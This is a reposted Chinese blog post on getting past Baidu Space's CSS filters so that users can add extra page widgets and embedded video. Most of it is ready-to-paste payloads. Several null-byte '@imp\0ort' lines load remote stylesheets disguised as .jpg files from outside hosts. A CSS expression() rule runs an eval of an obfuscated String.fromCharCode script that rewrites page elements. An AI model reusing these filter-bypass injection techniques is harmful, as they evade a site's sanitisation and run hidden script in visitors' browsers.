本文转自：monyer

原文：http://hi.baidu.com/monyer/blog/item/52008e5489da691f3a2935a0.html

今天打开我在百度的测试帐号，发现简爱华   给我的留言，很简单，什么都没有，就一行代码——“@imp\0ort "";”，但就是这行代码证明了百度空间依然可以插入import并继续我们的增加版块事业！（我忘记IE可以忽略掉“\0”了，呵呵。而且最近玩着百度的expression漏洞就把import放在脑后了）

所以代码稍作修改，让我们继续插版块吧！FREEDOM！

由于光缆已经基本上修好了，所以google page又能访问了，我们依然以google page做调用.

你依然什么都不用做，把黄色的代码放进你的css里即可（建议放在页面尾部，以免耽误样式加载）

由于百度对这些代码经常屏蔽或过滤，所以一旦你在css里加入如下代码，就不要动了。否则你的代码有被过滤掉的可能性

只有：最新文章版块
@imp\0ort "http://monyer86.googlepages.com/hibaidu.jpg";

有三个合成版块：聊天室 天气预报 日历版块
@imp\0ort "http://monyer86.googlepages.com/hibaidu1.jpg";

有四个版块（一个正常版块和一个合成版块）：最新文章版块与聊天室、天气预报、日历（合成版块）
@imp\0ort "http://monyer86.googlepages.com/hibaidu2.jpg";

没有加入视频代码的朋友可以选择这个：最新文章版块与 聊天室 天气预报 日历（合成版块）与 插入视频功能
@imp\0ort "http://monyer86.googlepages.com/hibaidu3.jpg";

插入550*450视频：插入视频的大号版（前面的都为450*350）
@imp\0ort http://monyer86.googlepages.com/hibaidu4.jpg;

以上代码不可以一起用，否则只能显示后面的一个。另外代码由于是远程调用，所以用此代码有可能略微拖慢你的空间，请斟酌使用

当然你可以选择其中某一个（第一个第二个第三个中的任意一个）与以下加视频代码混合，该混合的速度会比第四个、第五个显示视频略快，因为不用远程调用代码了。

body{xss:expr/*XSS*/ession(eval(String.fromCharCode(118,97,114,32,105,44,106,44,120,44,121,44,122,59,106,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,101,109,39,41,59,102,111,114,40,105,61,48,59,105,60,106,46,108,101,110,103,116,104,59,105,43,43,41,123,121,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,101,109,39,41,91,105,93,59,122,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,101,109,39,41,91,105,93,46,102,105,114,115,116,67,104,105,108,100,46,100,97,116,97,59,120,61,39,60,98,114,47,62,60,101,109,98,101,100,32,115,114,99,61,39,43,122,43,39,32,97,117,116,111,112,108,97,121,61,49,32,119,105,100,116,104,61,52,53,48,32,104,101,105,103,104,116,61,51,53,48,62,60,47,101,109,98,101,100,62,60,98,114,47,62,60,97,32,104,114,101,102,61,104,116,116,112,58,47,47,104,105,46,98,97,105,100,117,46,99,111,109,47,109,111,110,121,101,114,47,98,108,111,103,47,105,116,101,109,47,51,50,56,56,51,55,102,97,57,98,51,99,102,51,56,57,57,102,53,49,52,54,101,53,46,104,116,109,108,32,116,97,114,103,101,116,61,95,98,108,97,110,107,62,73,78,83,69,82,84,32,86,73,68,69,79,32,73,78,32,89,79,85,82,32,66,65,73,68,85,32,83,80,65,67,69,32,63,60,47,97,62,60,98,114,47,62,39,59,105,102,40,121,41,32,121,46,111,117,116,101,114,72,84,77,76,61,120,59,125)));}

再提供一组镜像吧——与上面的文件名是相对应的（对于某些地方可能访问会比google的快些）
@imp\0ort "http://www.zgirl.cn/hibaidu/hibaidu.jpg";

@imp\0ort "http://www.zgirl.cn/hibaidu/hibaidu1.jpg";

@imp\0ort "http://www.zgirl.cn/hibaidu/hibaidu2.jpg";

@imp\0ort "http://www.zgirl.cn/hibaidu/hibaidu3.jpg";

@imp\0ort "http://www.zgirl.cn/hibaidu/hibaidu4.jpg";

poc请见：http://hi.baidu.com/flameofdream